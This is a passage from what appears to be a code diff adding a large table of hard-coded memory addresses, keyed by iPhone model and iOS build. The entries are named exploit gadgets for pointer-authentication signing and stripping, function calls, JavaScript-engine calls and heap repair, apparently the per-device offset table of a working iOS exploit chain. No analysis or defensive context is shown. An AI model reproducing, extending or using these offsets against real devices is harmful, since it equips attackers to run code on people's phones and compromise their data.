0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,2_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261ee098cn, + fcall_14_args_write_x8: 0x24c76cf7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,3_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261b3198cn, + fcall_14_args_write_x8: 0x24c768f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,4_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261b3198cn, + fcall_14_args_write_x8: 0x24c768f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,5_22E240": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb052ecn, + tcall_X0LG: 0x21ed99f24n, + tcall_RLG: 0x20db46218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x26189b98cn, + fcall_14_args_write_x8: 0x24c760f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7a2fd4n, + transformSurface_gadget: 0x20ff2c970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone11,2_4_6_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecf72ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f0198cn, + fcall_14_args_write_x8: 0x24c44cf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a994fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, +"iPhone11,6_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecf72ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f0198cn, + fcall_14_args_write_x8: 0x24c44cf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a994fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + +"iPhone11,4_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecf72ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f0198cn, + fcall_14_args_write_x8: 0x24c44cf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a994fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + + "iPhone11,8_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecbf2ecn, + tcall_X0LG: 0x21ed6ef24n, + tcall_RLG: 0x20db2e218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260ef098cn, + fcall_14_args_write_x8: 0x24c414f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a95cfd4n, + transformSurface_gadget: 0x20ff14970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone12,1_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecc32ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260fe298cn, + fcall_14_args_write_x8: 0x24c460f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a960fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone12,3_5_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecc32ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260fe298cn, + fcall_14_args_write_x8: 0x24c460f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a960fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, +"iPhone12,5_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ecc32ecn, + tcall_X0LG: 0x21ed72f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260fe298cn, + fcall_14_args_write_x8: 0x24c460f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a960fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + + "iPhone12,8_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ebdb2ecn, + tcall_X0LG: 0x21ed6ef24n, + tcall_RLG: 0x20db2e218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x260f2198cn, + fcall_14_args_write_x8: 0x24c370f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a878fd4n, + transformSurface_gadget: 0x20ff14970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone13,1_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae52ecn, + tcall_X0LG: 0x21ed85f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26127d98cn, + fcall_14_args_write_x8: 0x24c633f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a782fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone13,2_3_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae92ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26161e98cn, + fcall_14_args_write_x8: 0x24c637f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a786fd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, +"iPhone13,3_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae92ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26161e98cn, + fcall_14_args_write_x8: 0x24c637f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a786fd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, + + "iPhone13,4_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eae92ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26161e98cn, + fcall_14_args_write_x8: 0x24c637f7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a786fd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,2_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eabd2ecn, + tcall_X0LG: 0x21ed8df24n, + tcall_RLG: 0x20db3a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24c683f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a75afd4n, + transformSurface_gadget: 0x20ff20970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone14,3_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eabd2ecn, + tcall_X0LG: 0x21ed8df24n, + tcall_RLG: 0x20db3a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24c683f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a75afd4n, + transformSurface_gadget: 0x20ff20970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone14,4_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eab52ecn, + tcall_X0LG: 0x21ed85f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26164398cn, + fcall_14_args_write_x8: 0x24c67bf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a752fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,5_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23eab52ecn, + tcall_X0LG: 0x21ed85f24n, + tcall_RLG: 0x20db32218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x26164398cn, + fcall_14_args_write_x8: 0x24c67bf7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a752fd4n, + transformSurface_gadget: 0x20ff18970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,6_22E252": { + malloc_restore_2_gadget: 0x1a96445d0n, + dyld_signPointer_gadget: 0x1a963c1e0n, + malloc_restore_0_gadget: 0x18fd9228cn, + malloc_restore_1_gadget: 0x1ca4985c8n, + malloc_restore_3_gadget: 0x19031ecd4n, + self_loop: 0x1900e0d9cn, + tcall_CRLG: 0x23ea312ecn, + tcall_X0LG: 0x21ed89f24n, + tcall_RLG: 0x20db36218n, + tcall_CSSG: 0x1ad44dbbcn, + tcall_DSSG: 0x1a9ba7c24n, + tcall_DG: 0x1dffe5ff4n, + _CFObjectCopyProperty: 0x18e5a54d8n, + load_x1x3x8: 0x2615f298cn, + fcall_14_args_write_x8: 0x24c5eff7cn, + _4_fcalls: 0x1c620bbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8c995cn, + jsvm_isNAN_fcall_gadget2: 0x1803ae524n, + store_x0_x0: 0x194328068n, + mov_x0_x22: 0x19412b870n, + str_x1_x2: 0x1e6664b50n, + add_x22_0x90: 0x23a6cefd4n, + transformSurface_gadget: 0x20ff1c970n, + xpac_gadget: 0x1b63d615cn + }, + "iPhone14,7_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eacd2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a0398cn, + fcall_14_args_write_x8: 0x24c693f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a76afd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone14,8_22E252": { + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eacd2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a0398cn, + fcall_14_args_write_x8: 0x24c693f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a76afd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,2_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261df898cn, + fcall_14_args_write_x8: 0x24c6d4f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,3_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21ed9df24n, + tcall_RLG: 0x20db4a218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261df898cn, + fcall_14_args_write_x8: 0x24c6d4f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff30970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,4_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a9d98cn, + fcall_14_args_write_x8: 0x24c6d8f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone15,5_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261a9d98cn, + fcall_14_args_write_x8: 0x24c6d8f7cn, + 